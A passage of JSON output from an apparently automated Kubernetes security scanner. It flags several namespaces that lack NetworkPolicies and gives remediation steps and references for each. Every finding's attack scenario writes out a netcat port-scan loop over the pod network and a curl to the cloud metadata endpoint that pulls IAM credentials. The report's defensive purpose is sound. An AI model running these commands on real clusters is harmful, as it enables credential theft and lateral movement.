    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `gw-groups`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n gw-groups --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:gw-outsider",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `gw-outsider` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `gw-outsider` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "gw-outsider",
      "namespace": "gw-outsider"
    },
    "namespace": "gw-outsider",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `gw-outsider`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `gw-outsider` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "gw-outsider"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `gw-outsider`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `gw-outsider`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n gw-outsider --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:gw-workloads",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `gw-workloads` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `gw-workloads` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "gw-workloads",
      "namespace": "gw-workloads"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `gw-workloads`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `gw-workloads` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "gw-workloads"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `gw-workloads`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `gw-workloads`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n gw-workloads --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:hookbackend-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `hookbackend-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `hookbackend-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "hookbackend-fixtures",
      "namespace": "hookbackend-fixtures"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `hookbackend-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `hookbackend-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "hookbackend-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `hookbackend-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `hookbackend-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n hookbackend-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:imgswap-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `imgswap-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `imgswap-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "imgswap-fixtures",
      "namespace": "imgswap-fixtures"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `imgswap-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `imgswap-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "imgswap-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `imgswap-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `imgswap-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n imgswap-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:local-path-storage",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `local-path-storage` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `local-path-storage` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "local-path-storage",
      "namespace": "local-path-storage"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `local-path-storage`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `local-path-storage` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "local-path-storage"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `local-path-storage`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `local-path-storage`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n local-path-storage --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
